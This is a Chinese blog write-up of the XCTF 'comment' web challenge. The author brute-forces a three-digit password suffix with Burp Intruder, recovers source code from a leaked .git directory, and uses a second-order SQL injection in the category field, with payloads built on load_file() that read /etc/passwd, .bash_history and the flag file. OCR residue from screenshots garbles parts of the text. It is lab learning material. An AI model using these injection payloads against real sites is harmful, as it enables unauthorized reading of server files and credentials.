xctf攻防世界 Web高手进阶区 comment



攻防世界web之路 专栏收录该内容

14 篇文章 0 订阅 订阅专栏

1. 进入环境, 查看内容

			确定要提交?		
留言极				确定取消	×
发贴		TITLE	2)
ID	CATEGORY	CATEGORY	2		
		CONTENT	2		
				CSDN @	提交 218947943

跳转到login.php

Sign in		
zhangwei		
zhangwei***		
	Sign in	
		CSDN @18947943

入手点是想办法登录后,再进行操作。

接下来一顿扫描瞅瞅:

■ 命令提示符	_	×
[10:10:44] Starting: [10:10:45] 301 - 323B - /js [10:10:45] 400 - 309B - /.% [10:10:47] 301 - 325B - /.g	-> http://111.200.241.244:51751/js/ 2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd it -> http://111.200.241.244:51751/.git/	^

[10:10:47] 403 - 290	0D = 7. git/	
[10:10:47] 200 - 17	7B - /.git/COMMIT_EDITMSG	
[10:10:47] 200 - 73	3B - /.git/description	
[10:10:47] 200 - 92	2B - /.git/config	
[10:10:47] 200 - 23	3B - /.git/HEAD	
$[10 \cdot 10 \cdot 47] 403 = 296$		
[10.10.47] 200 - 240		
[10.10.47] 200 = 240	SP - (sit/index excluse	
[10:10:47] 200 - 145		
[10:10:47] 200 - 168		
[10:10:47] 301 - 335	55 - /.git/logs/refs -> http://111.200.241.244:51/51/.git/logs/refs/	
[10:10:47] 200 - 168	8B - /.git/logs/refs/heads/master	
[10:10:47] 301 - 341	1B - /.git/logs/refs/heads -> http://111.200.241.244:51751/.git/logs/refs/head	s/
[10:10:47] 200 - 41	-1B - /.git/refs/heads/master	
[10:10:47] 301 - 336	16B - /.git/refs/heads -> http://111.200.241.244:51751/.git/refs/heads/	
[10:10:47] 301 - 335	5B - /.git/refs/tags -> http://111.200.241.244:51751/.git/refs/tags/	
	6B - /.ht wsr.txt	
	98 - /rsi-bin/ %2e/%2e/%2e/%2e/%2e/%2e/etc/nasswd	
[10.11.24] 301 - 29/	// // // // // // // // // // // // //	
$\begin{bmatrix} 10.11.24 \end{bmatrix} 301 = 329 \\ \begin{bmatrix} 10.11.29 \end{bmatrix} 201 = 299 \end{bmatrix}$	$\frac{10}{100} = \frac{1000}{100} = 1000$	
[10.11.30] 301 - 320	WP = / fonts -/ http://fil.200.241.244.51/51/fonts/	
	THE TABLE AND A STREET AND A ST	
	/hb = /index.pnp/login/	
10:11:361 403 - 288		
[10:11:41] 200 - 2	2KB - /login.php	
[10:11:48] 200 - (0B - /mysql.php	
		N @18047042
		N @10947943

2. 问题分析

想办法先登入进去

我们看到文本框提示已经给了zhangwei,密码是zhangwei***,其实就是三位字符补充,在此我们借助burpsuite进行跑字 典,如图:

Burp P	roject	Intruder	Repeater	Window H	lelp										
Dashbo	ard	Target	Proxy	Intruder	Repeater	Sequencer	Decoder	Comparer	Logger	Extender	Project options	User options	Learn		
1 ×	2 ×														
Target	Po	sitions	Payloads	Resource	Pool Opt	ions									
	vloade	ositions													Start attack
	figure t	be peritier	s whore paul	ands will be ince	orted into the h	se request The r	ttacktura data	rmines the way i	n which paulo	ada aro acciono.	d to payload positions	saa hala fasfull dai	taile		Startattack
Col	irigure t	ne positior	is where payl	oads will be ins	erted into the b	ase request. The a	ittack type dete	rmines the way i	n which paylo	ads are assigned	d to payload positions	- see neip for fuil dei	caits.		
Att	acktype	Sniper												~	
1	POST Host	/login. 111.20	php HTTP/3 0.241.244	:51751											Add §
3	Conte	ent - Leng	th: 35												Clear §
4	Cache	- Cont ro	l: max-ag	e=0											Auto §
6	Orig:	n: http	://111.20	0.241.244:	51751										Refresh
7	Conte	ent - Type	: applica	tion/x-www	-form-urlen	coded									
8	User	Agent :	Mozilla/5	.0(Windows	NT 10.0; Wi	n64; x64) Appl	eWebKit/53	7.36 (KHTML,	like Geck	o) Chrome/95	5.0.4638.69 Safa	ri/537.36			
10	Refe	er: htt	/ntml,app p://111.2	00.241.244	:51751/logi	piication/xm n.php	l;d=0.9,1ma	ige/avit,ima	ge/webp,1	mage/apng,*	/*;q=0.8,applic	ation/signed-e	exchange; v=b5; q=0.9	1	
11	Accep	ot - Encod	ling: gzip	, deflate											
12	Accep	ot - Langu	l <mark>age</mark> ∶zh-C	N, zh; q=0.9											
13	Cook:	le:isLo	gin=0; PHF	PSESSID=210	683biv2r3rb	0uggt9ee42e6	5								
14	Conne	ection:	close			-									
16	useri	name=zha	ngwei	ssword=zhan	awei§***§										
			-			J									
														CSDN @	28947943

添加payloads,如图:

5					Burp Suite C	ommunity Edit	ion v2021.1	0.2 - Temporar	ry Project					
Burp Project Intrude	Repeater	Window I	Help											,
Dashboard Target	Proxy	Intruder	Repeater	Sequencer	Decoder	Comparer	Logger	Extender	Project options	User options	Learn			
1 × 2 ×														
Target Positions	Payloads	Resource	e Pool Opti	ons										
Payload Sets													Sta	rt z ttack
You can define one o	r more payloa	d sets. The nur	nber of payload s	ets depends on th	ne attack type de	fined in the Posi	tions tab. Vari	ious payload type	es are available for eac	h payload set, and e	ach payload type ca	in be customized i	n different ways.	T
Pauload set: 1			Pauload count: 1	000										
Payload set. 1	- L			000									1	
Payload type: Nur	nders		Request count: 1	000										
Payload Options This payload type ge Number range Type: From: To: Step: How many:	[Numbers] nerates numer O Sequent 0 999 1	ic payloads wi	thin a given range	and in a specifie	ed format.									
Number format														
Base:	🗿 Decima	l 🔵 Hex												
Min integer digits:														
Max integer digits:]										CS	DN @189	47943

Start attack! 慢慢等吧, 巨慢, 如图:

5	3.	Intruder attack of 111	.200.241.24	4 - Tempo	rary attack -	Not saved to project file	\odot \odot
Attack Sav	ve Columns						
Results	Target Position	s Payloads P	Resource Pool	Optie	ons		
Filter: Showi	ng all items						?
Request \land	Payload	Status	Error	Timeout	Length	Comment	
0 1 2 3 4 5 6 7 7 8 9 10 11	660 661 662 663 664 665 666 666 667 668 669 670	200 200 200 200 200 200 200 200 200 200			2087 2087 2087 2087 2087 2087 2087 2087		
Request	Response						
Pretty Ra	w Hex ラ \n	\equiv					
9 Accept: text/ht d-excha 10 Referen 11 Accept- 12 Accept	: tml,application/xh ange;v=b3;q=0.9 r:http://111.200. -Encoding:gzip,de language:zh-CN.z	ntml+xml,applicat 241.244:51751/log :flate h:n=0.9	ion/xml;q= jin.php	=0.9,ima¢	ge/avif,im	age/webp,image/apng,*/*;q	=0.8,application/signe
13 Cookie:	: isLogin=0; PHPSES	SID=210683biv2r3	rb0uggt9ee	42e6			
14 Connect 15 16 usernam	tion:close me=zhangwei&passwo	ord=zhangwei666					
?₿€	→ Search						0 matches
Finished 🧲							CSDN @18947943

发现当***为666时候请求302了,emmm,走起,如图:



留言板			
发则	5		
ID	CATEGORY	TITLE	
		CSDN @1894794	13

利用.git获取源码

想到前面dirsearch出来的内容,根据.git提示,果断使用GitHacker搞到源码。



(此处我不理解,为啥我用前端访问就提示没有权限,而用githack就能下载下来,什么原理?)

分析代码

		111.200.2	2								~/GitH	lack/dis	t/111.	200.24
图(V)	转到(G)	帮助(H)	文件(F)	编辑	≩(E)	搜索(5)	视图(V)	文档	á(D)	帮助(H)		
A 2	zhangfa	GitHack	Ð	÷	Ļ.	C >	×	5	c >×		ιΰ	Q	R	Сţ.



这一段代码啥啊,乱七八糟的没有一点入手地方。。。卡壳了,看看大佬们的writeup吧,发现这道题考察的是git泄露和恢复,所以还是需要一些基本的git知识的。(但是我尝试用git恢复死活出不来当初的版本,还老是飘红,真是醉了,这儿还 是参考大神们的搞得代码吧,参考链接:https://blog.csdn.net/hxhxhxx/article/details/107937982)

```
?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
   header("Location: ./login.php");
   die();
if(isset($ GET['do'])){
switch ($ GET['do'])
case 'write':
   $category = addslashes($_POST['category']);
   $title = addslashes($ POST['title']);
   $content = addslashes($_POST['content']);
           set category = '$category',
   $result = mysql query($sql);
   break;
   $bo id = addslashes($ POST['bo id']);
   $result = mysql_query($sql);
   $num = mysql_num_rows($result);
   if($num>0){
   $category = mysql_fetch_array($result)['category'];
   $content = addslashes($_POST['content']);
   $sql = "insert into comment
           set category = '$category',
   $result = mysql_query($sql);
   break;
default:
   header("Location: ./index.php");
```

这段代码能看出来其实是考察sql的注入知识,核心内容其实在下面这段代码:

```
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
```

当登录后要发帖子时候,我们执行的sql语句是这段,但是我们可与看到每一段sql都是用另起一行,且可与看到category并没有 被过滤,而且页面上的帖子,content是可以被回显出来的,因此此题的突破口在这个点,看了好多博客,都没有说明为什 么。尝试利用category去覆盖原有的content,因此才有了网上所谓的解释如何执行sql语句的代码,#只能注释同一行,这里需要 注释/**/来进行两行的注释:

sql =	"insert	into comment
	set	<pre>category = '123',content=user(),/*',</pre>
		content = '*/#',
		bo id = '\$bo id'";

4. 如何构造payload

上述代码提示我们需要在前端去如何填写,找了很多网上的帖子讲得好粗略,而且没有实操过程,遂做详细记录。因此构造payload如图:

	发贴	×
TITLE	1	
CATEGORY	1',content=database(),/*	
CONTENT	1	
		<mark>提交</mark> CSDN @18947943

提交后,点击详情,发布提交,如图,会回显ctf

	正文
	留言
	提交留言
是交 CSDN @18947943	

也就是说我们的sql语句闭合了,而且注入正确。接下来就是跟着wp走了,我很多也看不懂,先做记录吧! 接着构造payload: 1',content=user(),/*,回显如图:

	发贴	×
TITLE	1	

CATEGORY	1',content=user(),/*	
CONTENT	1	
		提交 CSDN @18947943

同样道理,以*/#进行闭合,后面一直是这么操作。如图:

正文	222
留言	root@localhost
提交留言	
查看了当前用) 接着构造paylo 正文	✓提交 户为root用户,好家伙,权限很高嘛 ad: 1',content=(select(load_file('/etc/passwd'))),/*,回显如图: 1
留言	root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail: /usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin /nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/homo/cyclog:/bin/falco.mycgl:x:102:105:MySQL Server,,,:/var/lib/mysql:/bin/false www:x:500:500:www?/home/www:/bin/bash
提交留言	
	CSDN @18947943

	正文	2	
	留言	cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start	
提	交留言		
			h

✔提交

CSDN @18947943

记录了用户的操作历史,可以看到用户进入了/tmp文件夹并解压了html.zip,接着做了一份拷贝,并删除了.DS_Store文件,这个 文件是数据文件,对于内容十分重要,但由于内容大,前端显示不完全,因此网上wp都采用了十六进制回显: 接着构造payload: 1',content=(select(hex(load_file('/tmp/html/.DS_Store')))),/*,回显如图:

1				
正文	11			
留吉	00000001427564310000100000088000001000000040A0000000000	00000	000000000000000000000000000000000000000	00B00000010000100000730074007200
提交留言				
3 Search HTML		+ 1	T Filter Styles :hov .cls	+ 🗈 🖃 Layout Computed Ch
<pre>> cheader class="panel.headings"</pre>	/header> ordered-group* role="form" method="post" action=" <u>_/write_do.php?do-comment</u> " onsubmit="return submit_check()\$ @went iv> rol-label5顧言		<pre>> Pseudo-elements This Element element @ { } p @ { bootstrap.min.cc argun: P 00 10px; }</pre>	• Flexbox Select a Flex container or item t • Grid \$:1098 CSS Grid is not in use on this pa • Box Model
▼ <div class="col-sm-54 ▼ <p 00000001427564310000100</p 	000000000000000000000000000000000000000	000000	* 🗘 { bootstrap.min.d -webkit-box-sizing:> border-box; 🖓	margin 0

我们将数据拷贝出来,并使用在线十六进制转字符进行翻译,如图:

输入十六进制文本:

000000000000000000000000000000000000000	٠
00000000000000000000000000000000000000	
0090062006 <mark>F</mark> 006 <mark>F</mark> 007400730074007200610070496C6 <mark>F</mark> 63626C6 <mark>F</mark> 62000000100000	
004600000028 <mark>FFFFFFFFFFFF</mark> 000000000000B0063006 <mark>F</mark> 006D006D0065006E0074002E	+
007000680070496C6 <mark>F</mark> 63626C6 <mark>F</mark> 620000001000000CC0000002800000001 <mark>FFFF</mark> 000	1

转换后的文本:

0000	*
DbDoDoDtDsDtDrDaDpllocblobDDDDDDD <mark>F</mark> DDD(ÿÿÿÿÿDDDDDDDDCDoDmDmDeDnDt D.DpDhDpllocbl ebDDDDDDDDDD(DDDÿÿDDDDDDDCDsDsllocblobDDDDDDDDDR DDD	

(ÿÿÿÿÿÜÜÜÜÜÜÜD <mark>]</mark> (ÿÿÿÿÿÜÜÜÜÜÜÜ <mark>f</mark> ÜIÜaÜgÜ 0809Ü4060e010 <mark>f</mark> 010e0e030e04000 f 0.0p0h0p i lo	
cblobDDDDDDDDQVYÿÿÿÿUUUUUUU <mark>t</mark> UoUnUtUsIIocblobUUUUUUU <mark>F</mark> UUUUÿÿÿÿÿ	_
	Ť
	- 77

CSDN @18947943

可以看到我们要找的flag文件是: flag_8946e1ff1ee3e40f.php

接着构造payload: 1', content=select(hex(load_file('/var/www/html/flag_8946e1fflee3e40f.php')))),/*,回显如图:



同样将其拷贝并翻译,得到最终的结果,如图:

输入十六进制文本:

3C3F7068700A0924666C61673D22666C61677B306464313461616538316439343930 34623334393231313765326133643464667D223B0A3F3E0A

转换后的文本:

```
<?php
$flag="flag{0dd14aae81d94904b3492117e2a3d4df}";
?>
```

CSDN @18947943

这个题flag是动态的,因此需要一步步操作实践。

3.反思

算了不反思了,天天被虐,太菜。

题目也算做到了现在,真的好难,我也不知道自己还能坚持多久,这个题研究花费了两天多时间才整理完,也算努力过了。欢迎 留言交流讨论!